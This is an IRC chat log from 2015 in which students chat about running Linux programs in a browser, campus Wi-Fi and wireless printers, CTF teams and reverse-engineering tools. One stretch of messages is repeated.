[2015-02-15T14:43:40-0500] <grantwu> Also really how much speed will getting rid of excess packages get you?
[2015-02-15T14:52:17-0500] <JacobEdelman> grantwu: eh.. probaly not a huge amount, maybe 1.5x speed depending on what you are doing, but it will mean you can minimize ram usage to a huge extent
[2015-02-15T14:52:41-0500] <grantwu> But like... what are excess packages are you looking to eliminate?
[2015-02-15T14:52:52-0500] <JacobEdelman> grantwu: what you can actually do is have all files stored in the ram easily, which means accessing files is super fast
[2015-02-15T14:53:05-0500] <JacobEdelman> grantwu: everything that isn't needed to run the one specific program
[2015-02-15T14:53:09-0500] <JacobEdelman> what I want to do
[2015-02-15T14:53:11-0500] <JacobEdelman> is related to this:
[2015-02-15T14:53:12-0500] <grantwu> Okay so you're using a ramdisk
[2015-02-15T14:53:12-0500] <JacobEdelman> http://imgur.com/H8Lck1S
[2015-02-15T14:53:21-0500] <JacobEdelman> that is a picture of my browser
[2015-02-15T14:53:27-0500] <JacobEdelman> with a linux emulator running it
[2015-02-15T14:53:45-0500] <JacobEdelman> with the text based browser w3m in the linux emulator in my browser visiting pdgn.co
[2015-02-15T14:53:55-0500] <JacobEdelman> yes, its browsersception
[2015-02-15T14:56:15-0500] <grantwu> *shrug* yes I think you'll have to do things manually, if you really want you can make your own pseudo-package manager that uses package metadata to get dependencies
[2015-02-15T14:56:46-0500] <JacobEdelman> well, it seems that arch is actually fast enough to run on the browser
[2015-02-15T14:56:49-0500] <JacobEdelman> so I can just use that
[2015-02-15T14:57:00-0500] <JacobEdelman> the arch package manager is fine
[2015-02-15T14:57:11-0500] <grantwu> You can also look into slipstreaming packages into an image
[2015-02-15T14:58:25-0500] <grantwu> Wait why are you doing this in a browser again xD
[2015-02-15T15:03:06-0500] <JacobEdelman> for fun :)
[2015-02-15T15:03:22-0500] <grantwu> .-.
[2015-02-15T15:03:42-0500] <JacobEdelman> hmm... theres some stuff for generating iso's from directory's
[2015-02-15T15:03:51-0500] <JacobEdelman> (genisoimage)
[2015-02-15T15:04:59-0500] <JacobEdelman> maybe I could use a package manager like pacman, get the software I want, remove the package manger, like you suggested, and than make it into an iso 
[2015-02-15T15:05:27-0500] <JacobEdelman> although I'm probaly overcomplicating it
[2015-02-15T15:05:32-0500] <JacobEdelman> arch alone is fine for my needs
[2015-02-15T15:13:58-0500] <assface> what are you trying to do?
[2015-02-15T15:18:59-0500] <JacobEdelman> I'm thinking of doing a hackathon project where I make a platform to allow any (linux) program to run in the browser
[2015-02-15T15:19:05-0500] <JacobEdelman> I'm trying to see if its viable
[2015-02-15T15:19:17-0500] <JacobEdelman> I think its doable
[2015-02-15T15:19:26-0500] <JacobEdelman> and it seems like the kinda thing hackathon judges would like
[2015-02-15T15:19:37-0500] <JacobEdelman> and it seems doable in one day
[2015-02-15T16:18:25-0500] <+awe> hardmath123: yes, I know hamelin will do anything, but I mean feature-wise right now, we have TCP and secured TCP.
[2015-02-15T16:18:35-0500] <+awe> hardmath123: It doesn't look like websocketd is for any protocol other than that.
[2015-02-15T16:28:28-0500] <hardmath123> Yeah, we need to implement lots of protocols...
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[2015-02-15T14:07:04-0500] <alokpathy> Should we make some noise?
[2015-02-15T14:07:07-0500] <JacobEdelman> yes
[2015-02-15T14:07:09-0500] <JacobEdelman> also
[2015-02-15T14:07:15-0500] • alokpathy: bangs cymbals.
[2015-02-15T14:07:34-0500] <JacobEdelman> hardmath123: maybe you should get the websocketd guy to make something for hamelin, or write a wrapper to make it part of hamelin
[2015-02-15T14:07:41-0500] <JacobEdelman> alokpathy: you call that noise
[2015-02-15T14:08:01-0500] <alokpathy> Well, it wasn't music.
[2015-02-15T14:12:06-0500] <+awe> JacobEdelman: No, it seems like websccketd is exactly the same thing as what hamelin is right now.
[2015-02-15T14:12:32-0500] <+awe> JacobEdelman: except that it's only for websockets whereas hamelin is for TCP and secure TCP.
[2015-02-15T14:36:16-0500] <hardmath123> Well, no, it should handle any protocol you code for it.
[2015-02-15T14:37:02-0500] <hardmath123> awe: Like IRC, for example.
[2015-02-15T14:39:25-0500] <grantwu> @JacobEdelman Well doesn't that mean you can't remotely administer it?
[2015-02-15T14:40:30-0500] <grantwu> Unless you have it attached to a LAN
[2015-02-15T14:42:17-0500] <hardmath123> awe: how should the C interface to hamelin look?
[2015-02-15T14:42:39-0500] <hardmath123> awe: the interface to subprocess creation
[2015-02-15T14:43:40-0500] <grantwu> Also really how much speed will getting rid of excess packages get you?
[2015-02-15T14:52:17-0500] <JacobEdelman> grantwu: eh.. probaly not a huge amount, maybe 1.5x speed depending on what you are doing, but it will mean you can minimize ram usage to a huge extent
[2015-02-15T14:52:41-0500] <grantwu> But like... what are excess packages are you looking to eliminate?
[2015-02-15T14:52:52-0500] <JacobEdelman> grantwu: what you can actually do is have all files stored in the ram easily, which means accessing files is super fast
[2015-02-15T14:53:05-0500] <JacobEdelman> grantwu: everything that isn't needed to run the one specific program
[2015-02-15T14:53:09-0500] <JacobEdelman> what I want to do
[2015-02-15T14:53:11-0500] <JacobEdelman> is related to this:
[2015-02-15T14:53:12-0500] <grantwu> Okay so you're using a ramdisk
[2015-02-15T14:53:12-0500] <JacobEdelman> http://imgur.com/H8Lck1S
[2015-02-15T14:53:21-0500] <JacobEdelman> that is a picture of my browser
[2015-02-15T14:53:27-0500] <JacobEdelman> with a linux emulator running it
[2015-02-15T14:53:45-0500] <JacobEdelman> with the text based browser w3m in the linux emulator in my browser visiting pdgn.co
[2015-02-15T14:53:55-0500] <JacobEdelman> yes, its browsersception
[2015-02-15T14:56:15-0500] <grantwu> *shrug* yes I think you'll have to do things manually, if you really want you can make your own pseudo-package manager that uses package metadata to get dependencies
[2015-02-15T14:56:46-0500] <JacobEdelman> well, it seems that arch is actually fast enough to run on the browser
[2015-02-15T14:56:49-0500] <JacobEdelman> so I can just use that
[2015-02-15T14:57:00-0500] <JacobEdelman> the arch package manager is fine
[2015-02-15T14:57:11-0500] <grantwu> You can also look into slipstreaming packages into an image
[2015-02-15T14:58:25-0500] <grantwu> Wait why are you doing this in a browser again xD
[2015-02-15T15:03:06-0500] <JacobEdelman> for fun :)
[2015-02-15T15:03:22-0500] <grantwu> .-.
[2015-02-15T15:03:42-0500] <JacobEdelman> hmm... theres some stuff for generating iso's from directory's
[2015-02-15T15:03:51-0500] <JacobEdelman> (genisoimage)
[2015-02-15T15:04:59-0500] <JacobEdelman> maybe I could use a package manager like pacman, get the software I want, remove the package manger, like you suggested, and than make it into an iso 
[2015-02-15T15:05:27-0500] <JacobEdelman> although I'm probaly overcomplicating it
[2015-02-15T15:05:32-0500] <JacobEdelman> arch alone is fine for my needs
[2015-02-15T15:13:58-0500] <assface> what are you trying to do?
[2015-02-15T15:18:59-0500] <JacobEdelman> I'm thinking of doing a hackathon project where I make a platform to allow any (linux) program to run in the browser
[2015-02-15T15:19:05-0500] <JacobEdelman> I'm trying to see if its viable
[2015-02-15T15:19:17-0500] <JacobEdelman> I think its doable
[2015-02-15T15:19:26-0500] <JacobEdelman> and it seems like the kinda thing hackathon judges would like
[2015-02-15T15:19:37-0500] <JacobEdelman> and it seems doable in one day
[2015-02-15T16:18:25-0500] <+awe> hardmath123: yes, I know hamelin will do anything, but I mean feature-wise right now, we have TCP and secured TCP.
[2015-02-15T16:18:35-0500] <+awe> hardmath123: It doesn't look like websocketd is for any protocol other than that.
[2015-02-15T16:28:28-0500] <hardmath123> Yeah, we need to implement lots of protocols...
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[2015-02-15T17:25:19-0500] <+awe> Ugh.
[2015-02-15T17:25:33-0500] <+awe> I hate people who think they know about computers and tell people who don't know things about computers things that are totally wrong.
[2015-02-15T17:26:02-0500] <+awe> These two people went on a huge rant on my residence hall's Facebook group talking about how there's *no possible way for a wireless printer to interfere with a wireless network*.
[2015-02-15T17:26:21-0500] <+awe> Because apparently all wireless networks are 5 Ghz and all wireless printers are 2.4 Ghz.
[2015-02-15T17:26:53-0500] <+awe> FFS, have these people never been in an apartment complex?
[2015-02-15T17:27:36-0500] <+awe> There's roughly two hundred rooms in my hall, or something like that.
[2015-02-15T17:27:58-0500] <+awe> If there were 100 printers all running access points, it'd absolutely interfere with the network and cause massive latency issues.
[2015-02-15T17:28:58-0500] <nezorg> "no way" is wrong, but it's pretty infeasible
[2015-02-15T17:29:45-0500] <+awe> Why?
[2015-02-15T17:30:01-0500] <nezorg> first off, printers typically don't run access points
[2015-02-15T17:30:24-0500] <nezorg> and they'd only use bandwidth when they're actually being used (besides perhaps an occasional ping)
[2015-02-15T17:30:36-0500] <nezorg> so unless everyone was trying to print at once it wouldn't produce much interference
[2015-02-15T17:32:41-0500] <grantwu> nezorg
[2015-02-15T17:32:47-0500] <grantwu> My roommate has a printer which runs an AP
[2015-02-15T17:32:49-0500] <grantwu> bonkers, I know.
[2015-02-15T17:33:01-0500] <nezorg> wat
[2015-02-15T17:33:11-0500] <grantwu> It's a fail-over for when you can't get it to connect to the network
[2015-02-15T17:33:21-0500] <grantwu> Which is because campus wi-fi is 802.1x
[2015-02-15T17:33:38-0500] <nezorg> and it doesn't have an ethernet port?
[2015-02-15T17:34:13-0500] <grantwu> I forget
[2015-02-15T17:34:24-0500] <nezorg> dorms have ethernet ports, right?
[2015-02-15T17:34:28-0500] <nezorg> if not I'll die when I go to college
[2015-02-15T17:34:34-0500] <grantwu> It depends on the college lol
[2015-02-15T17:34:43-0500] <nezorg> well, sure
[2015-02-15T17:34:57-0500] <grantwu> I go to CMU, almost all dorms have ethernet, except for certain buildings that were built as apartments
[2015-02-15T17:35:06-0500] <bob_twinkles> set up a router in bridge mode =P
[2015-02-15T17:35:10-0500] <bob_twinkles> *WAP
[2015-02-15T17:35:13-0500] <grantwu> We can't setup a router
[2015-02-15T17:35:32-0500] <nezorg> bob_twinkles: but then you still get all the finickyness of wifi
[2015-02-15T17:35:34-0500] <hardmath123> blargh does anyone here have experience with getting webfonts to work properly?
[2015-02-15T17:35:41-0500] <nezorg> what's going wrong?
[2015-02-15T17:35:48-0500] <bob_twinkles> if the WAP is in bridge mode, it behaves just like a normal wifi client
[2015-02-15T17:36:11-0500] <nezorg> yes, which are finicky
[2015-02-15T17:36:24-0500] <grantwu> I don't think that works now, there's no network discovery with on campus wi-fi
[2015-02-15T17:36:25-0500] <bob_twinkles> eh, if the network is set up right it can be stable
[2015-02-15T17:36:53-0500] <grantwu> i don't know much about wi-fi but like... campus wi-fi isn't set up to allow clients to see other clients... in laymen terms
[2015-02-15T17:37:05-0500] <bob_twinkles> grantwu: if you can get a laptop to connect to it, I bet I can get a bridge working =D
[2015-02-15T17:37:11-0500] <nezorg> grantwu: I think what he means is
[2015-02-15T17:37:16-0500] <nezorg> you have a router
[2015-02-15T17:37:21-0500] <nezorg> that connects to a wifi network
[2015-02-15T17:37:27-0500] <nezorg> and then provides ethernet ports
[2015-02-15T17:37:31-0500] <nezorg> that just route to the wifi network
[2015-02-15T17:37:43-0500] <grantwu> Yes, but then what is the point?  How do we send print jobs to the printer?
[2015-02-15T17:37:48-0500] <nezorg> over ethernet
[2015-02-15T17:37:59-0500] <nezorg> this is for the situation where the dorm room doesn't have ethernet
[2015-02-15T17:38:04-0500] <nezorg> which seems to not apply to you
[2015-02-15T17:38:06-0500] <bob_twinkles> the "router" basically ends up working with a switch with a wireless uplink
[2015-02-15T17:38:19-0500] <bob_twinkles> *working as a switch
[2015-02-15T17:38:21-0500] <grantwu> correct.  how does a print job get from my computer to the printer
[2015-02-15T17:38:26-0500] <bob_twinkles> I can't type apparently
[2015-02-15T17:38:56-0500] <nezorg> bob_twinkles: does it actually negotiate multiple IPs, or does it actually NAT?
[2015-02-15T17:38:59-0500] <grantwu> clients of on campus wi-fi cannot communicate with each other as far as I know
[2015-02-15T17:39:31-0500] <nezorg> ohhh, that's what you mean
[2015-02-15T17:39:31-0500] <bob_twinkles> http://pastebin.com/FiiTQThv
[2015-02-15T17:39:41-0500] <JacobEdelman_phone> Using a phone feels weird and I honk swift key actually improves my English
[2015-02-15T17:39:48-0500] <nezorg> then how does anyone's wireless printer work on campus wifi?
[2015-02-15T17:40:01-0500] <nezorg> JacobEdelman_phone: you honk?
[2015-02-15T17:40:06-0500] <grantwu> @nezorg I don't think anyone's wireless printer works with on campus wifi :)
[2015-02-15T17:40:06-0500] <JacobEdelman_phone> Hmmm honk not the right word
[2015-02-15T17:40:23-0500] <nezorg> grantwu: ah, gotcha
[2015-02-15T17:40:48-0500] <nezorg> I don't know why you'd want a wireless printer anyway...
[2015-02-15T17:40:50-0500] <grantwu> Fairly sure people don't use networked printers here.  Or yanno, not be lazy, and print using campus printers.
[2015-02-15T17:40:52-0500] <JacobEdelman_phone> Okay maybe my English stays about the same overall I guess
[2015-02-15T17:41:06-0500] <grantwu> We only get 800 pages a semester for free.
[2015-02-15T17:41:45-0500] <bob_twinkles> "only"
[2015-02-15T17:41:56-0500] <nezorg> I think that was the point...
[2015-02-15T17:42:16-0500] <grantwu>  /s
[2015-02-15T17:42:23-0500] <grantwu> Err why did awebot just message me
[2015-02-15T17:42:31-0500] <nezorg> with a sexual harassment?
[2015-02-15T17:42:37-0500] <grantwu> Yeah
[2015-02-15T17:42:38-0500] <JacobEdelman_phone>  It does that sometimes 
[2015-02-15T17:42:42-0500] <nezorg> awe thinks he has a sense of humor
[2015-02-15T17:42:45-0500] <grantwu> ...
[2015-02-15T17:43:00-0500] <JacobEdelman_phone> See the quote dB in the topic for the inspiration
[2015-02-15T17:43:27-0500] <grantwu> awe says that he thought he turned the feature off
[2015-02-15T17:43:37-0500] <grantwu> Did he not go and actually turn that off
[2015-02-15T17:43:44-0500] <nezorg> I think he forgot a /s
[2015-02-15T17:44:13-0500] <JacobEdelman_phone> The feature did not exist until after that
[2015-02-15T17:44:19-0500] <+awe> nezorg: Wireless printers only have two options.
[2015-02-15T17:44:29-0500] <+awe> nezorg: One is running an access point, the other is connecting to the wireless internet.
[2015-02-15T17:44:48-0500] <nezorg> awe: huh, didn't know they would act as an AP
[2015-02-15T17:44:55-0500] <+awe> nezorg: Our network uses the enterprise encryption scheme for 802.1x
[2015-02-15T17:45:00-0500] <+awe> And so, printers cannot connect.
[2015-02-15T17:45:08-0500] <+awe> So, the only option for a wireless printer is to run it as an AP.
[2015-02-15T17:45:08-0500] <nezorg> well then get enterprise printers!
[2015-02-15T17:45:16-0500] <+awe> You think these people have enterprise printers?
[2015-02-15T17:45:21-0500] <+awe> They're using shitty inkjets.
[2015-02-15T17:45:22-0500] <nezorg> then plug it into ethernet
[2015-02-15T17:45:28-0500] <+awe> No ethernet.
[2015-02-15T17:45:30-0500] <+awe> That's not an option.
[2015-02-15T17:45:31-0500] <nezorg> ...
[2015-02-15T17:45:32-0500] <bob_twinkles> D=
[2015-02-15T17:45:35-0500] <nezorg> wat
[2015-02-15T17:45:38-0500] <nezorg> how do CS students survive
[2015-02-15T17:45:48-0500] <nezorg> my laptop's wifi is shitty
[2015-02-15T17:45:48-0500] <grantwu> I think awe is describing a theoretical situation
[2015-02-15T17:45:56-0500] <+awe> We don't have ethernet here.
[2015-02-15T17:45:56-0500] <grantwu> Get better wi-fi
[2015-02-15T17:45:57-0500] <+awe> At all.
[2015-02-15T17:46:01-0500] <+awe> I'm not describing a theoretical situation.
[2015-02-15T17:46:04-0500] <grantwu> Orrrr jk
[2015-02-15T17:46:05-0500] <+awe> I'm describing the exact situation I'm in.
[2015-02-15T17:46:07-0500] <bob_twinkles> awe: you should buy a bunch of routers and sell them as ethernet bridges
[2015-02-15T17:46:10-0500] <+awe> bob_twinkles: lol
[2015-02-15T17:46:19-0500] <+awe> I have a router that I tried to do that with.
[2015-02-15T17:46:20-0500] <grantwu> @nezorg what laptop do you have
[2015-02-15T17:46:21-0500] <nezorg> grantwu: I'm not a driver-writing master...
[2015-02-15T17:46:23-0500] <nezorg> oh
[2015-02-15T17:46:25-0500] <nezorg> 15" rmbp
[2015-02-15T17:46:30-0500] <grantwu> huh that should be fine
[2015-02-15T17:46:30-0500] <+awe> But uhh, the software on it doesn't support 802.1x.
[2015-02-15T17:46:35-0500] <grantwu> oh but yosemite problems?
[2015-02-15T17:46:39-0500] <+awe> I might be able to do it with OpenWRT.
[2015-02-15T17:46:41-0500] <nezorg> grantwu: no, just linux problems
[2015-02-15T17:46:44-0500] <+awe> grantwu: yosemite wireless is awesome.
[2015-02-15T17:46:47-0500] <nezorg> #justlinuxproblems
[2015-02-15T17:46:53-0500] <nezorg> oooh
[2015-02-15T17:46:54-0500] <nezorg> oooh
[2015-02-15T17:46:56-0500] <nezorg> I should run bsd
[2015-02-15T17:46:58-0500] <grantwu> ah.  well, I thought you were referring to having bad hardware.  which can be fixable
[2015-02-15T17:47:01-0500] <nezorg> and have even more problems
[2015-02-15T17:47:03-0500] <nezorg> grantwu: ah, no
[2015-02-15T17:47:11-0500] <bob_twinkles> I have bad hardware _and_ linux!
[2015-02-15T17:47:17-0500] <nezorg> yaaaayyy!
[2015-02-15T17:47:24-0500] <bob_twinkles> and the wifi card is so deep in my laptop it's not practical to replace
[2015-02-15T17:47:34-0500] <nezorg> well you could always get a dongle
[2015-02-15T17:47:34-0500] <grantwu> aww sucks :(
[2015-02-15T17:47:43-0500] <nezorg> (that reminds me, I was at pycon when donglegate happened :P)
[2015-02-15T17:47:55-0500] <bob_twinkles> I picked up a $20 external wifi dongle that works pretty well though
[2015-02-15T17:47:59-0500] <grantwu> Oh right I forgot awe was the person who originally started this discussion about printers and wi-fi
[2015-02-15T17:48:12-0500] <grantwu> ooops
[2015-02-15T17:48:15-0500] <+awe> grantwu: Yeah.
[2015-02-15T17:48:23-0500] <+awe> grantwu: Because people at my school think they know things about computers and they don't.
[2015-02-15T17:48:43-0500] <nezorg> seriously, how do you survive without ethernet
[2015-02-15T17:48:43-0500] <nezorg> like
[2015-02-15T17:48:48-0500] <nezorg> how do you connect a server
[2015-02-15T17:48:53-0500] <nezorg> or an embedded device
[2015-02-15T17:49:02-0500] <+awe> I don't?
[2015-02-15T17:49:06-0500] <grantwu> you... don't run a server in your room?
[2015-02-15T17:49:08-0500] <nezorg> ... D:
[2015-02-15T17:49:20-0500] <+awe> You get a dedicated IP.
[2015-02-15T17:49:35-0500] <nezorg> but still, with no ethernet, ...
[2015-02-15T17:49:40-0500] <+awe> Also, figures, the two idiots who were trying to correct everyone were dating.
[2015-02-15T17:49:42-0500] <+awe> I never use ethernet.
[2015-02-15T17:49:44-0500] <+awe> I don't use it at home.
[2015-02-15T17:49:46-0500] <+awe> I don't use it at school.
[2015-02-15T17:49:51-0500] <nezorg> like I'm working on a project on beaglebone black
[2015-02-15T17:49:58-0500] <nezorg> where the only network connectivity is ethernet
[2015-02-15T17:50:01-0500] <nezorg> how would I do that
[2015-02-15T17:50:09-0500] <+awe> You wouldn't.
[2015-02-15T17:50:13-0500] <nezorg> (I guess I could buy a bridge, but that's ugly)
[2015-02-15T17:50:14-0500] <nezorg> D:
[2015-02-15T17:50:17-0500] <+awe> Well.
[2015-02-15T17:50:21-0500] <+awe> You could do what I do with my PS3.
[2015-02-15T17:50:25-0500] <grantwu> Try going to a lab or something? idk.
[2015-02-15T17:50:36-0500] <+awe> I just bridge internet from my desktop.
[2015-02-15T17:50:47-0500] <+awe> You could also go to the CS hackerspace.
[2015-02-15T17:50:50-0500] <+awe> I think they have ethernet there.
[2015-02-15T17:51:03-0500] <nezorg> grantwu: go to a random lab and ask "hey, can I plug a random device into your network? it's totally not malicious"
[2015-02-15T17:51:08-0500] <nezorg> ?
[2015-02-15T17:51:13-0500] <+awe> See above.
[2015-02-15T17:51:17-0500] <+awe> Nobody stops you from doing anything in the USpace.
[2015-02-15T17:51:34-0500] <nezorg> hmm
[2015-02-15T17:51:41-0500] <grantwu> Well I mean okay
[2015-02-15T17:51:43-0500] <nezorg> would they let you keep it there for months at a time, though?
[2015-02-15T17:51:48-0500] <grantwu> no
[2015-02-15T17:51:54-0500] <nezorg> :/
[2015-02-15T17:52:05-0500] <grantwu> You would like... go to a lab that you know I guess
[2015-02-15T17:52:11-0500] <grantwu> I haven't done any embedded work.
[2015-02-15T17:52:14-0500] <grantwu> You could ask the computer club?
[2015-02-15T17:52:31-0500] <grantwu> I'm currently working on getting cmu computer club to pull their head out of their ass
[2015-02-15T17:52:31-0500] <nezorg> grantwu: you go to CMU right? just ask ppp :P
[2015-02-15T17:52:39-0500] <grantwu> lol PPP
[2015-02-15T17:52:48-0500] <+awe> nezorg: at the USpace?
[2015-02-15T17:52:50-0500] <+awe> nezorg: Yeah.
[2015-02-15T17:53:01-0500] <grantwu> I highly doubt PPP would do anything for newbs like me
[2015-02-15T17:53:03-0500] <nezorg> awe: including my 500W bitcoin miner? ;)
[2015-02-15T17:53:08-0500] <+awe> nezorg: Probably.
[2015-02-15T17:53:20-0500] <+awe> I wouldn't want to leave that out though.
[2015-02-15T17:53:23-0500] <+awe> I'd put that in my room.
[2015-02-15T17:53:31-0500] <nezorg> grantwu: sure they would, I talked to a member in tokyo last weekend who had just started doing hacking a couple months before
[2015-02-15T17:53:52-0500] <grantwu> *shrug*
[2015-02-15T17:54:05-0500] <nezorg> they're generally nice guys
[2015-02-15T17:54:06-0500] <grantwu> I know they don't advertise.  I wouldn't know of their existence if I didn't have some friends who did it
[2015-02-15T17:55:08-0500] <nezorg> you should try playing in a ctf with them
[2015-02-15T17:55:16-0500] <grantwu> no time
[2015-02-15T17:55:19-0500] <grantwu> meh
[2015-02-15T17:55:33-0500] <nezorg> doesn't stop me! :P
[2015-02-15T17:55:50-0500] <grantwu> Well you see you are not me
[2015-02-15T17:56:03-0500] <nezorg> sure about that
[2015-02-15T17:56:26-0500] <grantwu> quite.
[2015-02-15T17:56:39-0500] <grantwu> Also I'm not sure if PPP actually has like physical resources
[2015-02-15T17:57:00-0500] <nezorg> well, there's brumley's lab
[2015-02-15T17:57:05-0500] <nezorg> not sure how discriminating he is
[2015-02-15T17:58:31-0500] <grantwu> lol I just asked someone in PPP
[2015-02-15T17:58:37-0500] <grantwu> "Why not just get a wi-fi dongle?"
[2015-02-15T17:58:54-0500] <+awe> nezorg: Basically, most people don't care about wired internet anymore.
[2015-02-15T17:59:02-0500] <nezorg> awe: :'(
[2015-02-15T17:59:06-0500] <nezorg> what are the speeds?
[2015-02-15T17:59:19-0500] <+awe> 150/100
[2015-02-15T17:59:29-0500] <nezorg> ah, alright
[2015-02-15T17:59:30-0500] <nezorg> I suppose the labs' are pretty good?
[2015-02-15T17:59:52-0500] <+awe> Latency is great throughout the day, but is pretty bad (100ms+) after around 6 pm.
[2015-02-15T17:59:59-0500] <nezorg> oof
[2015-02-15T18:00:20-0500] <+awe> Imagine if we had 50-100 printers on top of that.
[2015-02-15T18:00:23-0500] <nezorg> awe: do you know how good labs' internet is?
[2015-02-15T18:00:36-0500] <+awe> Uhh, the USpace has the same internet as the rest of my campus.
[2015-02-15T18:00:45-0500] <+awe> Just with ethernet access to it.
[2015-02-15T18:00:47-0500] <nezorg> oh
[2015-02-15T18:00:48-0500] <nezorg> :'(
[2015-02-15T18:00:55-0500] <+awe> Well, it means there's no latency issues.
[2015-02-15T18:01:03-0500] <+awe> Regardless of how many people are there, it'll still be low.
[2015-02-15T18:01:22-0500] <+awe> The Computer Science building (which houses the USpace) also has its own network, but I don't know anything about it.
[2015-02-15T18:01:26-0500] <+awe> I don't know if students are allowed access to it.
[2015-02-15T18:01:36-0500] <nezorg> UCSB's CS labs' internet is pretty much as fast as your link can handle :P
[2015-02-15T18:01:37-0500] <grantwu> That's disappointing :C
[2015-02-15T18:01:44-0500] <+awe> Also, the research tower (The Giant Ivory Tower of Science) has its own internet, too.
[2015-02-15T18:01:44-0500] <nezorg> like, you can saturate 10gbps...
[2015-02-15T18:01:47-0500] <+awe> But I don't know anything else.
[2015-02-15T18:02:01-0500] <grantwu> 10 Gb wtf
[2015-02-15T18:02:04-0500] <nezorg> it's wonderful for downloading steam games
[2015-02-15T18:02:14-0500] <grantwu> The entirety of CMU is running on a single 10 Gb commodity link afaik
[2015-02-15T18:02:27-0500] <+awe> I think it's a similar deal here.
[2015-02-15T18:02:29-0500] <nezorg> oh, really?
[2015-02-15T18:02:29-0500] <nezorg> huh
[2015-02-15T18:02:49-0500] <nezorg> ucsb was part of the original arpanet, so we have pretty good internet :P
[2015-02-15T18:03:38-0500] <nezorg> so if you ever need to DoS someone...
[2015-02-15T18:04:01-0500] <nezorg> heh, that actually happens accidentally pretty often
[2015-02-15T18:04:24-0500] <nezorg> some of the websec guys will run some experiments and accidentally bring some other networks down
[2015-02-15T18:04:36-0500] <+awe> lol.
[2015-02-15T18:04:45-0500] <+awe> With great power comes great responsibility.
[2015-02-15T18:04:55-0500] <nezorg> indeed
[2015-02-15T18:04:58-0500] <nezorg> well, sort of
[2015-02-15T18:05:02-0500] <nezorg> the profs usually handle it
[2015-02-15T18:05:03-0500] <nezorg> :P
[2015-02-15T18:08:57-0500] <grantwu> Idk I just get intimidated by the PPP people.  And I'm busy enough.
[2015-02-15T18:10:22-0500] <nezorg> aw, you shouldn't let them intimidate you
[2015-02-15T18:10:29-0500] <nezorg> busyness is fair enough though
[2015-02-15T18:12:27-0500] <grantwu> Also it's a burden of knowledge sigh
[2015-02-15T18:13:02-0500] <grantwu> I remember going to one meeting and they were talking about some decompiler geohotz was working on
[2015-02-15T18:13:31-0500] <nezorg> wait, decompiler?
[2015-02-15T18:13:37-0500] <nezorg> are you sure you don't mean qira?
[2015-02-15T18:13:48-0500] <grantwu> er that
[2015-02-15T18:13:50-0500] <grantwu> whatever it's called
[2015-02-15T18:13:53-0500] <grantwu> or whatever it si
[2015-02-15T18:13:56-0500] <grantwu> idek
[2015-02-15T18:14:03-0500] <nezorg> decompiler, though?
[2015-02-15T18:14:08-0500] <grantwu> I meant QIRA
[2015-02-15T18:14:10-0500] <assface> >tfw have to use a wireless dongle to connect to 2Mbps internet that I can't host a server on
[2015-02-15T18:14:26-0500] <grantwu> I'm not sure what a proper description of QIRA would be.
[2015-02-15T18:14:44-0500] <nezorg> I've looked it before
[2015-02-15T18:15:05-0500] <nezorg> I'd describe it as a "timeless graphical debugger"
[2015-02-15T18:15:12-0500] <nezorg> sorta similar to something I've been working on, actually
[2015-02-15T18:15:16-0500] <nezorg> but mine's cooler for various reasons :3
[2015-02-15T18:15:24-0500] <nezorg> (well, not "mine", my team's)
[2015-02-15T18:15:32-0500] <nezorg> geohot was begging us to open source it :P
[2015-02-15T18:15:36-0500] <nezorg> which we will, soon enough...
[2015-02-15T18:15:38-0500] <nezorg> anyway, back to hw
[2015-02-15T18:15:44-0500] <assface> pfft
[2015-02-15T18:15:46-0500] <assface> who does hw
[2015-02-15T18:16:01-0500] • nezorg: raises hand
[2015-02-15T18:17:23-0500] <assface> plebs, that's who
[2015-02-15T18:18:02-0500] <grantwu> Right so... I don't know what is a "timeless graphical debugger" is but I know that it can produce source from a binary
[2015-02-15T18:18:19-0500] • grantwu: also raises hand
[2015-02-15T18:18:31-0500] <nezorg> ...produce source from a binary? o_O
[2015-02-15T18:18:37-0500] <assface> so a decompiler
[2015-02-15T18:18:55-0500] <grantwu> well I presume the input to QIRA is a binary right
[2015-02-15T18:18:59-0500] <nezorg> yes
[2015-02-15T18:19:02-0500] <grantwu> And I saw that it created source code
[2015-02-15T18:19:08-0500] <nezorg> like, C source code?
[2015-02-15T18:19:10-0500] <nezorg> or asm
[2015-02-15T18:19:10-0500] <grantwu> yes
[2015-02-15T18:19:13-0500] <grantwu> C source code
[2015-02-15T18:19:21-0500] <grantwu> unless I am forgetting things
[2015-02-15T18:19:21-0500] <nezorg> ...sure this was qira?
[2015-02-15T18:19:27-0500] <nezorg> and not qira inside ida?
[2015-02-15T18:19:36-0500] <grantwu> it might be the latter actually
[2015-02-15T18:19:41-0500] <grantwu> idek you see what I mean I don't know things
[2015-02-15T18:19:44-0500] <nezorg> okay, that would be less scary
[2015-02-15T18:20:00-0500] <grantwu> I'm not sure why it would be scary
[2015-02-15T18:20:36-0500] <nezorg> because decompilers are hard
[2015-02-15T18:20:40-0500] <nezorg> at least, good ones are
[2015-02-15T18:20:43-0500] <grantwu> quite
[2015-02-15T18:20:57-0500] <grantwu> But they exist.  I think
[2015-02-15T18:21:00-0500] <nezorg> there was an interesting paper at ndss about decompiling without gotos
[2015-02-15T18:21:15-0500] <nezorg> there was also an interesting paper about firmalice ;)
[2015-02-15T18:21:17-0500] <assface> decompilers are gypsie magic
[2015-02-15T18:21:52-0500] <grantwu> Anyways while they're talking about all this they're talking about calling conventions and crap and I'm like... I know some of these words?
[2015-02-15T18:22:19-0500] • grantwu: self-consciously wonders why he is using "like" so much
[2015-02-15T18:22:43-0500] <assface> grantwu: could be worse
[2015-02-15T18:22:49-0500] <assface> Tamini says "um" all the time
[2015-02-15T18:24:15-0500] <grantwu> I just didn't feel that sitting in meeting listening to things I don't really understand hoping to absorb knowledge via osmosis was a productive use of my time....
[2015-02-15T18:24:19-0500] <grantwu> *meetings
[2015-02-15T18:24:32-0500] <nezorg> well, try a ctf with them
[2015-02-15T18:25:05-0500] <grantwu> And how would I know when those are, or how to do that?
[2015-02-15T18:25:21-0500] <grantwu> A rhetorical question, seeing that someone told me they had a mailing list which I eventually joined.
[2015-02-15T18:25:47-0500] <bob_twinkles> also ctftime.org
[2015-02-15T18:29:23-0500] <grantwu> eh.  time constraints.  I can always come up with an excuse .-.
[2015-02-15T18:30:23-0500] <JacobEdelman> grant: I forget, are you doing pact again?
[2015-02-15T18:31:09-0500] <grantwu> I don't think so
[2015-02-15T18:31:10-0500] <grantwu> I hope not.
[2015-02-15T18:31:34-0500] <grantwu> Got started on internship search a bit late :/
[2015-02-15T18:31:50-0500] <+awe> I'm making a blood pact with the dark lord Beelzebub. 
[2015-02-15T18:31:56-0500] <+awe> Does that count, JacobEdelman?
